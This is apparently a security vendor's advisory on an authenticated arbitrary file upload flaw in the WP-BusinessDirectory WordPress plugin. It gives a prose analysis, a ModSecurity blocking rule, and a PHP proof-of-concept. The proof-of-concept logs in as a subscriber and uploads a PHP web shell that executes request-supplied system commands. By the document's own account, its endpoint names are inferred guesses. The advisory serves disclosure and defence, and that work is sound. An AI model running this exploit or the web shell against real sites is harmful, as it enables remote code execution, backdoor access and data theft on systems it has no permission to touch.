Atomic Edge analysis of CVE-2026-39591 (metadata-based):
The WP-BusinessDirectory plugin for WordPress versions up to and including 4.0.0 contains an authenticated arbitrary file upload vulnerability. Attackers with Subscriber-level permissions or higher can upload malicious files to the server. This vulnerability receives a CVSS score of 8.8 (High severity).
Atomic Edge research infers the root cause is missing file type validation in one or more file upload handlers. The CWE-434 classification confirms unrestricted upload of dangerous file types. Without access to the source code diff, this conclusion is based on the vulnerability description and CWE mapping. The plugin likely processes file uploads without checking file extensions, MIME types, or file signatures. WordPress capability checks may have been present but insufficient, allowing any authenticated user to access the vulnerable upload functionality.
Exploitation requires an authenticated WordPress user account with at least Subscriber privileges. Attackers would identify the plugin’s file upload endpoint, typically an AJAX handler or REST API route. The endpoint likely accepts POST requests with multipart/form-data containing a file parameter. Attackers can upload files with dangerous extensions like .php, .phtml, or .phar. The uploaded file would be placed in a web-accessible directory, enabling direct HTTP requests to execute the malicious code.
The patch in version 4.0.1 likely implements proper file validation. Remediation should include server-side validation of file extensions against an allow list, MIME type verification, and file signature checking. The fix should also implement proper capability checks, restricting upload functionality to appropriate user roles. WordPress nonce verification should be added if absent to prevent CSRF attacks.
Successful exploitation leads to arbitrary file upload and potential remote code execution. Attackers can upload web shells to gain persistent backdoor access, execute operating system commands, and compromise the entire WordPress installation. This vulnerability enables complete server takeover, data theft, and further network penetration. The impact is particularly severe because Subscriber accounts are easily obtainable through registration or social engineering.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-39591 (metadata-based)
# This rule blocks file upload exploitation targeting the WP-BusinessDirectory plugin.
# The rule matches the inferred AJAX endpoint and checks for dangerous file extensions.
# Without access to exact vulnerable code, the rule targets common upload patterns.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:202639591,phase:2,deny,status:403,chain,msg:'CVE-2026-39591 via WP-BusinessDirectory AJAX file upload',severity:'CRITICAL',tag:'CVE-2026-39591',tag:'WordPress',tag:'Plugin',tag:'WP-BusinessDirectory'"
SecRule ARGS_POST:action "@rx ^(wp_)?businessdirectory" "chain,t:lowercase"
SecRule FILES "@rx .(php|phtml|phar|php[0-9]+|php.|htaccess|pl|cgi|sh|bash|py|rb|js)$" "t:lowercase"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-39591 - WP-BusinessDirectory – Business directory plugin for WordPress <= 4.0.0 - Authenticated (Subscriber+) Arbitrary File Upload
<?php
/**
* Proof of Concept for CVE-2026-39591
* Assumptions based on metadata analysis:
* 1. The plugin has a file upload endpoint accessible via AJAX or REST API
* 2. The endpoint lacks proper file type validation
* 3. Subscriber-level authentication is sufficient
* 4. The endpoint accepts multipart/form-data with a file parameter
*
* Without access to vulnerable code, this PoC demonstrates the attack pattern
* using common WordPress plugin structures. Actual endpoint and parameter names
* may differ from those inferred below.
*/
$target_url = 'https://example.com/wp-admin/admin-ajax.php';
$username = 'subscriber_user';
$password = 'subscriber_pass';
// Create a simple PHP web shell payload
$malicious_content = '<?php if(isset($_REQUEST["cmd"])) { system($_REQUEST["cmd"]); } ?>';
$payload_file = tempnam(sys_get_temp_dir(), 'shell_');
file_put_contents($payload_file, $malicious_content);
// Initialize cURL session for WordPress login
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => str_replace('admin-ajax.php', 'wp-login.php', $target_url),
CURLOPT_RETURNTRANSFER => true,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_COOKIEJAR => 'cookies.txt',
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url,
'testcookie' => '1'
]),
CURLOPT_HTTPHEADER => ['Content-Type: application/x-www-form-urlencoded']
]);
$response = curl_exec($ch);
if (strpos($response, 'Dashboard') === false && strpos($response, 'admin-ajax') === false) {
echo "[-] Login failed. Check credentials.n";
exit;
}
echo "[+] Authentication successful.n";
// Attempt file upload via inferred AJAX endpoint
// Common patterns for business directory plugins include 'upload_listing_image', 'add_business_logo', etc.
// The actual action parameter value may differ.
$post_fields = [
'action' => 'wp_businessdirectory_upload', // Inferred from plugin slug
'nonce' => 'bypassed_or_missing', // Nonce may be absent or bypassable
'file' => new CURLFile($payload_file, 'application/x-php', 'shell.php')
];
curl_setopt_array($ch, [
CURLOPT_URL => $target_url,
CURLOPT_POSTFIELDS => $post_fields,
CURLOPT_HTTPHEADER => [] // Let cURL set multipart boundary
]);
$upload_response = curl_exec($ch);
curl_close($ch);
// Clean up temporary file
unlink($payload_file);
// Parse response for upload success indicators
if (strpos($upload_response, 'success') !== false ||
strpos($upload_response, 'url') !== false ||
strpos($upload_response, '.php') !== false) {
echo "[+] File upload likely successful. Check response for file location:n";
echo substr($upload_response, 0, 500) . "n";
} else {
echo "[-] Upload may have failed. Response:n";
echo substr($upload_response, 0, 500) . "n";
}
// Note: Without exact endpoint and parameter names, this PoC may require adjustment.
// Attackers would enumerate possible action values and file parameter names.
?>